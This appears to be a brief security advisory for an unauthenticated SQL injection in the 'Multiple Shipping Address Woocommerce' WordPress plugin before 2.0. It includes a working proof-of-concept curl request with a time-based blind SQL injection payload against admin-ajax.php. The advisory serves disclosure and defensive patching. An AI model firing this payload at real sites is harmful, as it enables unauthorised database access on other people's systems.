Multiple Shipping Address Woocommerce < 2.0 - Unauthenticated SQLi

The plugin does not properly sanitise and escape numerous parameters before using them in SQL statements via some AJAX actions available to unauthenticated users, leading to unauthenticated SQL injections

curl 'https://example.com/wp-admin/admin-ajax.php' --data 'action=ocwma_choice_address&sid=3+AND+(SELECT+1946+FROM+(SELECT(SLEEP(5)))zsme)'